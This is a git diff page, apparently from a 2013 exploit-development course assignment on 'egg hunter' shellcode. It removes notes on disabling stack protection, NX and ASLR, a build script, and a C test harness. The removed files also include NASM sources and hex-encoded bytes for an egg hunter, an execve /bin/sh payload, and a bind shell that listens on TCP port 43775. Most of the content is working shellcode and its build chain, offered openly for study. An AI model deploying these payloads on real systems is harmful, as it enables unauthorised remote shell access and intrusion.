Assignment 3 - major updates over Egg Hunter
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11
exam3/NOTES
11
exam3/NOTES
@ -1,11 +0,0 @@
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NOTES
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no-stack-protector: disables GCC Stack-Smashing Protector (SSP), aka ProPolice
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execstack: disables Executable space protection (NX).
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Or Data Execution Prevention (DEP) on Windows,
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or Write XOR Execute (W^X) on BSD.
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CPU’s NX bit ("Never eXecute").
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To disalbe Address Space Layout Randomization (ASLR) when running binary
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setarch `arch` -R ./program
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32
exam3/USAGE
32
exam3/USAGE
@ -1,32 +0,0 @@
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USAGE
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1. Prepare your payload in payload.nasm file or you can directly specify it in make.sh script (PAYLOADCODE= variable)
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I'm using a symlink as follows
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exam3$ ln -svf payload-execve-stack.nasm payload.nasm
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`payload.nasm' -> `payload-execve-stack.nasm'
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2. Compile the shellcode with a custom "egg" (must be 8 bytes in length)
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exam3$ ./make.sh "egg.MaRk"
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[I] Using custom EGG mark: egg.MaRk
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[+] Compiling payload.nasm ...
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[+] Compiling hunter.nasm ...
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[+] Extracting PAYLOAD code from payload ...
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[+] Adding EGG mark to PAYLOAD ...
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[+] Checking PAYLOAD code for NULLs ...
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[+] Extracting HUNTER code from hunter ...
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[+] Checking HUNTER code for NULLs ...
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[+] Compiling shellcode.c ...
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-rwx------. 1 arno arno 5100 Mar 27 17:02 ./shellcode
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[+] All done!
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3. Run the shellcode
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exam3$ ./shellcode
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Hunter Length: 21
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Payload Length: 36
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sh-4.1$
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@ -1,79 +0,0 @@
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; This program is free software: you can redistribute it and/or modify
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; it under the terms of the GNU General Public License as published by
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; the Free Software Foundation, either version 3 of the License, or
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; (at your option) any later version.
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;
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; This program is distributed in the hope that it will be useful,
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; but WITHOUT ANY WARRANTY; without even the implied warranty of
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; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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; GNU General Public License for more details.
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;
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; You should have received a copy of the GNU General Public License
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; along with this program. If not, see <http://www.gnu.org/licenses/>.
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;
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;
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; Filename: egghunter.nasm
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; Author: Andrey Arapov <andrey.arapov@gmail.com>
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; 2013 March
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;
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;
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section .data
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egg1 equ "Egg-" ; DWORD Egg marker part1
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egg2 equ "Mark" ; DWORD Egg marker part2
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section .text
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global _start
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_start:
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jmp short EggPoint
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continue:
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pop eax
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; Searching for the Egg marker
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next:
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inc eax ; Searching backwards
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isEgg:
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cmp dword [eax-8], egg1
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jne next
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cmp dword [eax-4], egg2
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jne next
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call eax
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; EXIT
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xor eax, eax
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mov al, 1
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xor ebx, ebx
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int 0x80
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EggPoint:
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call continue
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Egg:
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db "Egg-Mark" ; QWORD egg marker
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; loop counter = 8
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xor ecx, ecx
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mov cl, 8
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decloop:
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dec eax
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loop decloop
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mov ecx, eax
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xor edx, edx
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mov dl, 8
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xor eax, eax
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mov al, 4
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xor ebx, ebx
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mov bl, 1
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int 0x80
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xor eax, eax
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mov al, 1
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xor ebx, ebx
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int 0x80
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@ -1,40 +0,0 @@
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; This program is free software: you can redistribute it and/or modify
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; it under the terms of the GNU General Public License as published by
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; the Free Software Foundation, either version 3 of the License, or
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; (at your option) any later version.
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;
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; This program is distributed in the hope that it will be useful,
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; but WITHOUT ANY WARRANTY; without even the implied warranty of
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; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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; GNU General Public License for more details.
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;
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; You should have received a copy of the GNU General Public License
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; along with this program. If not, see <http://www.gnu.org/licenses/>.
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;
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;
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; Filename: hunter.nasm
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; Author: Andrey Arapov <andrey.arapov@gmail.com>
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; 2013 March
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;
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;
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section .data
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egg1 equ "Egg-" ; DWORD Egg marker part1
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egg2 equ "Mark" ; DWORD Egg marker part2
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section .text
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global _start
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_start:
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; Searching for the Egg marker
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next:
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inc eax ; Searching forward (can also try dec eax)
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isEgg:
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cmp dword [eax-8], egg1 ; Checking if we can see egg1
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jne next ; If not, continuing to search
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cmp dword [eax-4], egg2
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jne next
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call eax ; Once found, we call our payload
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130
exam3/make.sh
130
exam3/make.sh
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#!/usr/bin/env sh
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#
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# USAGE
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# ./make.sh [Egg-Mark]
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#
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# NOTE
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# Egg-Mark must be a plaintext with 8 bytes in length
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# If Egg-Mark was not specified, the default one will be used.
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#
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# To specify a custom payload, simply modify the code of payload.nasm file.
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# Alternativly, you can modify PAYLOADCODE= variable down below the code.
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#
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ARG1=$1
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if [ -z "$ARG1" ]; then
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echo " [I] Argument not specified. Using default EGG mark."
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ARG1="Egg-Mark";
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elif ! [[ `expr length $ARG1` -ge 8 && `expr length $ARG1` -le 8 ]]; then
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echo " [E] Custom EGG mark must be 8 bytes in length! Exiting."
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exit 1;
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else
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echo " [I] Using custom EGG mark: "$ARG1
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fi
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DEFAULTEGG=($(echo -n "Egg-Mark" | sed -e 's/\(....\)/\1\n/g')) # set in hunter.nasm
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EGGMARK=$ARG1
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NEWEGG=($(echo -n $EGGMARK | sed -e 's/\(....\)/\1\n/g'))
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# Uncomment to save EGGMARK in HEX
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EGGMARK=$(echo -n $ARG1 | od -A n -t x1 |sed 's/ /\\x/g')
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# Cleanup
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rm -f shellcode payload.o payload hunter.o hunter
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echo " [+] Compiling payload.nasm ..."
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nasm -f elf32 -o payload.o payload.nasm
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ld -m elf_i386 -o payload payload.o
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echo " [+] Compiling hunter.nasm ..."
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nasm -f elf32 -o hunter.o hunter.nasm
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ld -m elf_i386 -o hunter hunter.o
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echo " [+] Extracting PAYLOAD code from payload ..."
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PAYLOADCODE=$(objdump -d ./payload |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s)
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echo " [+] Adding EGG mark to PAYLOAD ..."
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FULL_PAYLOADCODE=$(echo -n ${EGGMARK}${PAYLOADCODE}|sed 's/^/"/' |sed 's/$/"/g')
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echo " [+] Checking PAYLOAD code for NULLs ..."
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if [[ $FULL_PAYLOADCODE == *00* ]]; then
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echo " [E] Your PAYLOAD code contains 00 (NULL) ! Exiting."
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exit 1
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fi
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echo " [+] Extracting HUNTER code from hunter ..."
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HUNTERCODE=$(objdump -d ./hunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s|sed 's/^/"/' |sed 's/$/"/g')
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# For debugging only
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#echo ${DEFAULTEGG[0]}
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#echo ${DEFAULTEGG[1]}
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#echo ${NEWEGG[0]}
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#echo ${NEWEGG[1]}
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# Preparing Default egg to HEX form in order to replace it with a New egg
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DEFEGG1=$(echo -n ${DEFAULTEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
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DEFEGG2=$(echo -n ${DEFAULTEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
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# Uncomment to save new EGGMARK in HEX format
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NEWEGG1=$(echo -n ${NEWEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
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NEWEGG2=$(echo -n ${NEWEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
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# Uncomment to save new EGGMARK in Plaintext format
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#NEWEGG1=$(echo -n ${NEWEGG[0]})
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#NEWEGG2=$(echo -n ${NEWEGG[1]})
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FULL_HUNTERCODE=$(echo -n $HUNTERCODE |sed 's/'$DEFEGG1'/'$NEWEGG1'/g'| sed 's/'$DEFEGG2'/'$NEWEGG2'/g')
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echo " [+] Checking HUNTER code for NULLs ..."
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if [[ $FULL_HUNTERCODE == *00* ]]; then
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echo " [E] Your HUNTER code contains 00 (NULL) ! Exiting."
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exit 1
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fi
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# Uncomment to see what will is replaced (default egg with a new one)
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#echo $DEFEGG1
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#echo $DEFEGG2
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#echo $NEWEGG1
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#echo $NEWEGG2
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#echo $HUNTERCODE
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#echo $FULL_HUNTERCODE
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cat > shellcode.c << EOF
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#include <stdio.h>
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#include <string.h>
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unsigned char hunter[] = \
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$FULL_HUNTERCODE;
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unsigned char garbage1[] = \
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"Just some garbage here...";
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unsigned char payload[] = \
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$FULL_PAYLOADCODE;
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unsigned char garbage2[] = \
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"And some garbage there...";
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main()
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{
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printf("Hunter Length: %d\n", strlen(hunter));
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printf("Payload Length: %d\n", strlen(payload));
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int (*ret)() = (int(*)())hunter;
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ret();
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}
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EOF
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echo " [+] Compiling shellcode.c ..."
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gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
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# Cleanup
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rm -f payload.o payload hunter.o hunter
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ls -la ./shellcode
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echo " [+] All done!"
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@ -1,44 +0,0 @@
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; This program is free software: you can redistribute it and/or modify
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; it under the terms of the GNU General Public License as published by
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; the Free Software Foundation, either version 3 of the License, or
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; (at your option) any later version.
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;
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; This program is distributed in the hope that it will be useful,
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; but WITHOUT ANY WARRANTY; without even the implied warranty of
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; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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; GNU General Public License for more details.
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;
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; You should have received a copy of the GNU General Public License
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; along with this program. If not, see <http://www.gnu.org/licenses/>.
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; Filename: payload-execve-stack.nasm
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; Author: Andrey Arapov <andrey.arapov@gmail.com>
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; 2013 March
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global _start
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section .text
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_start:
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; EAX
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xor eax, eax
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mov al, 11 ; execve syscall
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; EBX
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xor edx, edx
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push edx ; NULL termination of '//bin/sh' string
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push 0x68732f6e ; '//bin/sh' in reverse
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push 0x69622f2f ; beginning of '//bin/sh' string is here
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mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
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; ECX
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push edx ; NULL termination of a stack
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push ebx ; load our '//bin/sh' on a stack
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mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
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; EDX
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push edx ; NULL terminator
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mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
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int 0x80
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@ -1,113 +0,0 @@
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; This program is free software: you can redistribute it and/or modify
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; it under the terms of the GNU General Public License as published by
|
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; the Free Software Foundation, either version 3 of the License, or
|
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; (at your option) any later version.
|
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;
|
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; This program is distributed in the hope that it will be useful,
|
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; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
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; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
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; GNU General Public License for more details.
|
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;
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; You should have received a copy of the GNU General Public License
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; along with this program. If not, see <http://www.gnu.org/licenses/>.
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;
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;
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; Filename: payload-shell_bind_tcp_smaller.nasm
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; Author: Andrey Arapov <andrey.arapov@gmail.com>
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; 2013 March
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;
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; DESC:
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; - Binds to a port 43775
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; - Execs Shell on incoming connection
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;
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;
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; Shellcode size: 108 bytes
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; Shellcode "\x31\xc0\xb0\x66\x31\xdb\x43\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x50\x5f\x6a\x66\x58\x43\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xab\xff\xff\xff\xaa\xff"
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;
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; Port is the last two bytes of the shellcode. In hex \xaa\xff (0xaaff = 43775)
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;
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;
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global _start
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section .text
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_start:
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xor eax, eax
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mov al, 102 ; socketcall
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xor ebx, ebx
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inc ebx ; 1 = SYS_SOCKET socket()
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push BYTE 6 ; IPPROTO_TCP || int protocol);
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push BYTE 1 ; SOCK_STREAM || int type,
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push BYTE 2 ; AF_INET || socket(int domain,
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mov ecx, esp ; ECX - PTR to arguments for socket()
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int 0x80
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mov esi, eax ; save socket fd in ESI for later
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jmp short call_get_port
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port_in_esp:
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pop edi ; getting port address from ESP
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push BYTE 102
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pop eax ; socketcall
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inc ebx ; 2 = SYS_BIND bind()
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xor edx, edx
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push edx ; 0 = ANY HOST (0.0.0.0)} || struct in_addr sin_addr (unsigned long s_addr) };
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push WORD [edi] ; PORT specified in the bottom of the code / shellcode. Last two bytes in HEX.
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push WORD bx ; 2 = AF_INET || struct sockaddr { short sin_family,
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mov ecx, esp ; Save PTR to sockaddr struct in ECX
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push BYTE 16 ; socklen_t addrlen);
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push ecx ; const struct sockaddr *addr,
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push esi ; bind(int sockfd,
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mov ecx, esp ; ECX = PTR to arguments for bind()
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int 0x80
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mov BYTE al, 102 ; socketcall
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inc ebx
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inc ebx ; 4 = SYS_LISTEN listen()
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push BYTE 1 ; int backlog);
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push esi ; listen(int sockfd,
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mov ecx, esp ; ECX = PTR to arguments for listen()
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int 0x80
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mov BYTE al, 102 ; socketcall
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inc ebx ; 5 = SYS_ACCEPT = accept()
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push edx ; socklen_t *addrlen = 0);
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push edx ; struct sockaddr *addr = NULL,
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push esi ; listen(int sockfd,
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mov ecx, esp ; ECX = PTR to arguments for accept()
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int 0x80
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; dup2 to duplicate sockfd, that will attach the client to a shell
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; that we'll spawn below in execve syscall
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xchg eax, ebx ; after EBX = sockfd, EAX = 5
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push BYTE 2
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pop ecx
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dup2_loop:
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mov BYTE al, 63
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int 0x80
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dec ecx
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jns dup2_loop
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; spawning as shell
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xor eax, eax
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push eax
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push 0x68732f6e ; '//bin/sh' in reverse
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push 0x69622f2f ; beginning of '//bin/sh' string is here
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mov ebx, esp
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push eax
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mov edx, esp ; ESP is now pointing to EDX
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push ebx
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mov ecx, esp
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mov al, 11 ; execve
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int 0x80
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call_get_port:
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call port_in_esp
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db 0xaa, 0xff ; BYTE (43775 in straight hex)
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|
||||
@ -1 +0,0 @@
|
||||
payload-execve-stack.nasm
|
||||
@ -1,18 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
unsigned char hunter[] = "\x40\x81\x78\xf8\x65\x67\x67\x2e\x75\xf6\x81\x78\xfc\x4d\x61\x52\x6b\x75\xed\xff\xd0";
|
||||
|
||||
unsigned char garbage1[] = "Just some garbage here...";
|
||||
|
||||
unsigned char payload[] = "\x65\x67\x67\x2e\x4d\x61\x52\x6b\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
|
||||
|
||||
unsigned char garbage2[] = "And some garbage there...";
|
||||
|
||||
main()
|
||||
{
|
||||
printf("Hunter Length: %d\n", strlen(hunter));
|
||||
printf("Payload Length: %d\n", strlen(payload));
|
||||
int (*ret)() = (int(*)())hunter;
|
||||
ret();
|
||||
}
|
||||
Loading…
Reference in New Issue
Block a user